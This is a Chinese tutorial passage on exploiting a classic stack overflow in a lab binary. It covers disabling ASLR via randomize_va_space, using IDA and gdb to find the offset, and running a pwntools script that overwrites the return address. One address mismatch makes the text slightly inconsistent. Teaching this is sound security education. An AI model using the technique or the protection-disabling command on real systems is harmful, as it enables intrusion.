- 0 , 关闭 ASLR , 没有随机化 。栈、堆、.so 的基地址每次都相同 。
- 1 , 普通的 ASLR 。栈基地址、mmap 基地址、.so 加载基地址都将被随机化 , 但是堆基地址没有随机化 。
- 2 , 增强的 ASLR , 在 1 的基础上 , 增加了堆基地址随机化 。
echo 0 > /proc/sys/kernel/randomize_va_space
关闭 Linux 系统的 ASLR , 类似的 , 也可以配置相应的参数 。确认栈溢出和 PIE 保护关闭后 , 我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数。可以看到
int vulnerable(){char s; // [sp+4h] [bp-14h]gets(&s);return puts(&s);}
该字符串距离 ebp 的长度为 0x14 , 那么相应的栈结构为+-----------------+|retaddr|+-----------------+|saved ebp|ebp--->+-----------------+||||||||||||s,ebp-0x14-->+-----------------+
也可以通过gdb
确定偏移量文章插图
并且 , 我们可以通过 IDA 获得 success 的地址 , 其地址为 0x080491B6 。
文章插图
那么如果我们读取的字符串为
0x14*'a'+'bbbb'+success_addr
那么 , 由于 gets 会读到回车才算结束 , 所以我们可以直接读取所有的字符串 , 并且将 saved ebp 覆盖为 bbbb , 将 retaddr 覆盖为 success_addr , 即 , 此时的栈结构为+-----------------+|0x080491B6|+-----------------+|bbbb|ebp--->+-----------------+||||||||||||s,ebp-0x14-->+-----------------+
但是需要注意的是 , 由于在计算机内存中 , 每个值都是按照字节存储的 。一般情况下都是采用小端存储 , 即 0x0804843B 在内存中的形式是\xb6\x91\x04\x08
但是 , 我们又不能直接在终端将这些字符给输入进去 , 在终端输入的时候 \ , x 等也算一个单独的字符 。。所以我们需要想办法将 \x3b 作为一个字符输入进去 。那么此时我们就需要使用一波 pwntools (进行打包)了
##coding=utf8from pwn import *## 构造与程序交互的对象sh = process('./stack1')success_addr = 0x080491b6## 构造payloadpayload = b'a'*0x18 + p32(success_addr)print(p32(success_addr))## 向程序发送字符串sh.sendline(payload)## 将代码交互转换为手工交互sh.interactive()
文章插图
可以看到我们确实已经执行 success 函数 。
基本步骤寻找危险函数通过寻找危险函数 , 我们快速确定程序是否可能有栈溢出 , 以及有的话 , 栈溢出的位置在哪里 。常见的危险函数如下
- 输入
- gets , 直接读取一行 , 忽略'\x00'
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy , 字符串复制 , 遇到'\x00'停止
- strcat , 字符串拼接 , 遇到'\x00'停止
- bcopy
- 相对于栈基地址的的索引 , 可以直接通过查看 EBP 相对偏移获得
- 相对应栈顶指针的索引 , 一般需要进行调试 , 之后还是会转换到第一种类型 。
经验总结扩展阅读
- 四十一 增删查改分页 Java开发学习----MyBatisPlus标准数据层开发
- 中 学习ASP.NET Core Blazor编程系列十——路由
- CC1,3,6回顾
- 图学习【参考资料2】-知识补充与node2vec代码注解
- 二十四 设计模式学习:Spring 中使用到的设计模式
- Java安全之CC3
- TensorFlow深度学习!构建神经网络预测股票价格!?
- JUC学习笔记——共享模型之管程
- Seata Server 1.5.2 源码学习
- 2022极端高温!机器学习如何预测森林火灾?? 万物AI